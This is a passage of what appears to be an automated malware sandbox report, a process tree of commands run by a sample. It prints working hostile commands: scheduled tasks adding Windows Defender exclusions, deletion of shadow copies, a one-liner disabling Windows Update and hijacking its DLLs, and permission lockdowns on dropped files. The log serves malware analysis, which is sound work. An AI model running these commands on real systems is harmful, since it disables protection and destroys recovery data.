  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2060
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2516
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5612
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4556
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4204
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4496
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2912
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4784
- C:\Program Files (x86)\cXUfx8\ULZdm0.exe
  "C:\Program Files (x86)\cXUfx8\ULZdm0.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4208
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3648
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3064
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5956
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:912
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1500
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4124
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4636
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5828
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1716
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2920
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1264
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4976
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4740
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4716
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5632
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5108
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3716
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2464
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:828
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4268
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5788
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:3352
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4532
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2592
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3388
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:5072
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5312
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2712
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5980
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4616
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3852
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:848
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2528
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:252
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3200
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\cXUfx8\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5164
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\cXUfx8\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5112
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5964
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1320
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4800
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:796
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2944
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5536
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8\ULZdm0.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2396
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8\ULZdm0.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:420
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8\ULZdm0.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5776
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8\ULZdm0.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4364
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8\ULZdm0.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3380
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8\ULZdm0.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1048
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3148
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2024
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4916
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4560
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4860
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3180
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3904
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5184
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2372
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5960
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2500
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2004
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:5428
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1356
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4484
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2648
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5000
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3512
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1652
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6028
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\cXUfx8\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1768
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\cXUfx8\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3432
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:4216
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3312
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1172
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:912
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2304
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3788
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2652
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4520
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3096
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2116
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2900
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1500

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\5g9bB8" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5208
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\5g9bB8" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1560

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4088

C:\Users\Public\5g9bB8\h6EeQN.exe
"C:\Users\Public\5g9bB8\h6EeQN.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5112

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2572
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5292

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4540
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:480

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2224
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3212

C:\Program Files (x86)\cXUfx8\ULZdm0.exe
